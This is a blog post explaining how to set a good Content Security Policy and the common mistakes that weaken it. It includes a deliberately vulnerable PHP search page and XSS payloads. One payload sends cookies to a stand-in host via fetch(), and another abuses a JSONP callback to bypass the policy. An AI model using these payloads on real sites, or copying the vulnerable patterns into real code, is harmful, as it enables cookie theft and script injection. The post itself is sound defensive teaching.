360 lines
13 KiB
Markdown
360 lines
13 KiB
Markdown
---
|
|
title: Setting a good Content Security Policy
|
|
date: 2024-08-22
|
|
tags:
|
|
- Security
|
|
- Websites
|
|
description: >
|
|
Setting a good CSP can be hard. Here I go through what it is, and how to set
|
|
it up well.
|
|
---
|
|
|
|
The Content Security Policy (CSP) is a powerful security feature that helps
|
|
protect your website from cross-site scripting (XSS) attacks and other types of
|
|
code injection vulnerabilities. There are some directives that do other things,
|
|
but the bulk of this blog post will cover using the `fetch-directives`, or the
|
|
elements of the CSP that allow you to specify a allow-list of approved sources
|
|
from which resources This helps prevent malicious code from being executed on
|
|
your site.
|
|
|
|
To implement CSP, you need to set the Content-Security-Policy HTTP header on
|
|
your web server. Here's an example of what a basic CSP header might look like:
|
|
|
|
```
|
|
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com
|
|
```
|
|
|
|
Let's break down the different directives in this example:
|
|
|
|
- `default-src 'self'`: This sets the default source for all resource types to the same origin (i.e., your own website). This is a good baseline to start with.
|
|
- `script-src 'self' https://example.com`: This specifies that scripts can only be loaded from your own site (`'self'`) and the `https://example.com` domain. This helps prevent the execution of any unauthorized scripts.
|
|
|
|
It is worth noting that default-src applies to all source types that haven't
|
|
been explicitly specified. Any sources that are explicitly specified overwrite
|
|
then default-src, they are not added to it.
|
|
|
|
Consider the following:
|
|
|
|
```
|
|
Content-Security-Policy: default-src 'self'; script-src https://example.com
|
|
```
|
|
|
|
This will not allow scripts to sourced from the current origin, despite `'self'`
|
|
being in the `default-src` directive.
|
|
|
|
You can further customize the CSP header to suit your website's specific needs.
|
|
For example, you might want to allow images to be loaded from a content delivery
|
|
network (CDN), or allow fonts from a third-party font provider. Here's an
|
|
example of a more comprehensive CSP header:
|
|
|
|
```
|
|
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com; style-src 'self' https://cdn.example.com; img-src 'self' https://cdn.example.com; font-src 'self' https://fonts.gstatic.com
|
|
```
|
|
|
|
In this example, we've added directives for styles, images, and fonts, allowing
|
|
them to be loaded from specific approved sources.
|
|
|
|
It's important to note that implementing CSP is an iterative process. You'll
|
|
likely need to adjust your policy as you add new features and functionality to
|
|
your website. A good approach is to start with a strict policy and gradually
|
|
loosen it as needed, while keeping security as the top priority.
|
|
|
|
Whilst testing, it may be useful to use the
|
|
[content-security-policy-report-only](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only)
|
|
header. Whilst it doesn't provide any protection, it also won't break an
|
|
existing site as it only reports report violations, rather than blocking them.
|
|
|
|
## Why Bother
|
|
|
|
So, we have an idea of how to set a CSP, but not why we may want to. The main
|
|
reason to have a strong CSP set is to protect against injection attacks. The
|
|
most common of these is cross-site-scripting, where JavaScript is injected;
|
|
although other types do exist when injecting malicious css (style-injection), or
|
|
images (image-injection). The example below explains one way in which script
|
|
injection, or cross-site-scripting, is bad.
|
|
|
|
Take the following simple PHP search page:
|
|
|
|
```php
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Vulnerable Search Page</title>
|
|
</head>
|
|
<body>
|
|
<h1>Search Our Website</h1>
|
|
<form method="GET" action="/search.php">
|
|
Search: <input type="text" name="search">
|
|
<input type="submit" name="submit" value="Search">
|
|
</form>
|
|
|
|
<?php
|
|
if(isset($_GET['search'])) {
|
|
echo "<h2>You searched for: " . $_GET['search'] . "</h2>";
|
|
}
|
|
|
|
//Some logic to display search results
|
|
?>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
The important factor here is that the users search query (`$_GET['search']`) is
|
|
output verbatim, without encoding or sanitising it.
|
|
|
|
If I perform a search for `<script>alert(1);</script>`, the following h2 tag will be sent to the browser:
|
|
|
|
```
|
|
<h2>You searched for: <script>alert(1);</script></h2>
|
|
```
|
|
|
|
The browser will see that, and interpret the script tag as a script it should
|
|
execute. `alert(1)` is a relatively benign function that we often use to
|
|
demonstrate the issue exists, without causing significant issues to the site.
|
|
However, now imagine changing `alert(1)` for
|
|
`fetch('https://malicious-site.com?c=' + document.cookie)`.
|
|
|
|
Now my cookies have been sent to a malicious site for the owner to do with as
|
|
they please.
|
|
|
|
The content-security-policy can be use to add a layer of protection here. When
|
|
set strictly, the browser can "know" that the script tag in the h1 tag isn't on
|
|
a pre-approved list, so the browser won't execute it.
|
|
|
|
## Potential Mistakes
|
|
|
|
So, now we know why you might want a CSP, and how to set one, we'll look at some
|
|
of the most common mistakes I see people make.
|
|
|
|
### `'unsafe-inline'` source
|
|
|
|
This source is very frequently added to a CSP, without realising it severely
|
|
limits the protection that it can offer. Most online generators will add it as,
|
|
in their current setup, most sites use inline resources. An inline resource is,
|
|
as the name suggests, most script or style resources that are not external.
|
|
|
|
So,
|
|
|
|
```html
|
|
<script>console.log("Inline");</script>
|
|
<img src="something.jpg" onclick="console.log('Also Inline')" />
|
|
<script src="/not-inline.js"></script>
|
|
|
|
<style>
|
|
body{
|
|
background-color: red; /*inline*/
|
|
}
|
|
</style>
|
|
<img style="background-color: red; /*also inline*/" />
|
|
<link rel="stylesheet" href="/not-inline.css" />
|
|
```
|
|
|
|
The problem here is that, more often than not, inline JS is the easiest way to
|
|
achieve XSS. The search example we used earlier added an inline script tag, so
|
|
a CSP with unsafe-inline would not have prevented it from executing.
|
|
|
|
There are a number of better options here. First is externalising scripts. So,
|
|
moving inline JS into an external file and adding it to the allow-list.
|
|
|
|
If that isn't possible, or practical, another option is to use the special
|
|
`<hashtype>-<hash>` sources, or `nonce-<nonce>` sources. These allow you to add
|
|
specific inline scripts to the allow-list, without allowing all inline scripts.
|
|
Just make sure not to fall into the [potential mistakes with nonce
|
|
sources](#nonce-source).
|
|
|
|
### `'unsafe-eval'` source
|
|
|
|
The unsafe-eval source is only relevant for JavaScript, and allows scripts to
|
|
run `eval()`, and a couple of other similar functions. The most common use for
|
|
eval I've seen is when targeting older JS environments that not have native
|
|
JSON support as an alternative to `JSON.parse()`.
|
|
|
|
So, consider the following:
|
|
|
|
```js
|
|
const jsonString = document.getElementById('someTextArea').value;
|
|
const jsonObject = eval(jsonString2 );
|
|
```
|
|
|
|
If the contents of the text area were:
|
|
|
|
```json
|
|
{
|
|
"name": "Jane Doe",
|
|
"age": 25
|
|
}
|
|
```
|
|
|
|
then:
|
|
|
|
```
|
|
console.log(jsonObject.name); // Output: "Jane Doe"
|
|
```
|
|
|
|
However, if the contents of the text area were `alert(1)`, then we are in the
|
|
situation again whereby unsafe JavaScript is being executed. Unfortunately,
|
|
there are a lot of different uses of eval, so a "fix" for all of them is
|
|
unlikely. However, most modern frameworks do not need to use eval, so disabling
|
|
it is preferable if possible.
|
|
|
|
### Nonce source
|
|
|
|
The nonce source allows site maintainers to allow some inline sources to be
|
|
included. We've been using JavaScript as examples, so I will continue to do so,
|
|
but note that this is also relevant for CSS.
|
|
|
|
```
|
|
Content-Security-Policy: script-src 'nonce-uph5Fai4'
|
|
```
|
|
|
|
```
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Example</title>
|
|
<script nonce="uph5Fai4">
|
|
console.log("This will run");
|
|
</script>
|
|
<script>
|
|
console.log("This won't");
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<h1>Our Website</h1>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
For the nonce source to be effective, it must be unpractical for malicious actor
|
|
to guess the nonce. In practice, this generally means using a long and random
|
|
string of characters for each response. The nonce should not be re-used. If a
|
|
malicious actor can guess what a nonce is, then they can simply add the
|
|
attribute to their injected payload.
|
|
|
|
### JSONP Sources
|
|
|
|
JSONP (JSON with Padding) is a technique used to bypass the same-origin policy,
|
|
which is a security feature implemented by web browsers to prevent a web page
|
|
from making requests to a different domain than the one that served the web
|
|
page.
|
|
|
|
The way JSONP works is as follows:
|
|
|
|
1. The client-side code defines a function, to processes JSON data.
|
|
1. A `<script>` tag is created with its `src` attribute to a URL that returns a JSON response, with the name of the previously defined function specified.
|
|
2. The server-side code wraps the JSON response in a function call, with the function name provided.
|
|
|
|
Here's an example:
|
|
|
|
Client-side HTML:
|
|
|
|
```html
|
|
<script>
|
|
function handleResponse(data) {
|
|
console.log(data);
|
|
}
|
|
</script>
|
|
<script src="https://example.com/data?callback=handleResponse"></script>
|
|
```
|
|
|
|
The response to that data script would look something like:
|
|
|
|
```javascript
|
|
handleResponse({
|
|
"name": "John Doe",
|
|
"age": 30
|
|
});
|
|
```
|
|
|
|
JSONP was a popular technique in the past, as it allowed developers to make
|
|
cross-domain requests without running into the same-origin policy.
|
|
|
|
However, if a user is able to inject a script tag into a document, and a CDN
|
|
that is known to host JSONP endpoints is on the allow-list, they could include
|
|
something like
|
|
|
|
```html
|
|
<script src="https://example.com/data?callback=alert(1);handleResponse"></script>
|
|
```
|
|
|
|
Most implementations will then return the following:
|
|
|
|
```javascript
|
|
alert(1);handleResponse({
|
|
"name": "John Doe",
|
|
"age": 30
|
|
});
|
|
```
|
|
|
|
JSONP is now generally discouraged, in favour of
|
|
[CORS](https://jakearchibald.com/2021/cors/), which allows site owners to
|
|
explicitly allow some resources to be requested across origins. However, note
|
|
that many CDNs host JSONP endpoints, so even if your site doesn't use them,
|
|
allowing a domain that hosts them is enough to provide a CSP bypass in many
|
|
situations. The CSP does allow sub directories or even specific files to be
|
|
added to the allow-list, so if unsure about whether a CDN provides JSONP
|
|
endpoints, you may wish to explicitly allow a specific file on the CDN, rather
|
|
than all files.
|
|
|
|
For example:
|
|
|
|
```
|
|
Content-Security-Policy: script-src http://example.com/file.js;
|
|
```
|
|
|
|
as opposed to
|
|
|
|
```
|
|
Content-Security-Policy: script-src http://example.com/;
|
|
```
|
|
|
|
### Domains Which Allow Uploads
|
|
|
|
When you include a domain in your CSP, you're essentially giving control of your
|
|
website's security to that platform and all the developers who publish code on
|
|
it. Not only does this potentially introduce [supply chain
|
|
attacks](https://thehackernews.com/2024/07/polyfillio-attack-impacts-over-380000.html),
|
|
many CDNs also allow public submission. Unpkg, for instance, is a popular CDN
|
|
that hosts everything on NPM. All you need to submit code to it is a free NPM
|
|
account. If a CSP includes unpkg, or one of the many similar services, in their
|
|
CSP; anyone can submit code that the CSP will allow to run.
|
|
|
|
#### Self source
|
|
|
|
It is worth noting that the `'self'` keyword can introduce a similar issue.
|
|
|
|
The `'self'` source is a shortcut to allow sources from
|
|
the current [origin](https://developer.mozilla.org/en-US/docs/Glossary/Origin).
|
|
|
|
The difference between origin and site has been discussed [elsewhere in more
|
|
detail](https://jakearchibald.com/2021/cors/#origins-vs-sites), but briefly, an
|
|
origin is defined by scheme (protocol), hostname (domain), and port of the url.
|
|
Sub domains are a different origin, although often the same same site.
|
|
|
|
```
|
|
https://example.jonathanh.co.uk:443/something/cool
|
|
│ │
|
|
└────────────Origin───────────────┘
|
|
|
|
https://example.jonathanh.co.uk:443/something/cool
|
|
│ │
|
|
└────Site─────┘
|
|
```
|
|
|
|
Normally, including `'self'` is safe, although care should be taken if you allow
|
|
users of your site to upload content, and that content is accessible on the same
|
|
origin. If so, a user could potentially upload a malicious file and bypass the
|
|
CSP as the file is available under the `'self'` domain.
|
|
|
|
|
|
### Other Permissive Sources
|
|
|
|
The following are considered permissive. I won't go into too much detail for
|
|
each, but ideally you should avoid using:
|
|
|
|
* `https:` - Any source that is hosted on an encrypted server. A malicious actor
|
|
can very easily spin up a server with a valid certificate
|
|
* `data:` - Any source that can be loaded via a data scheme. In most cases, this
|
|
just involves base64 encoding a payload.
|
|
|
|
|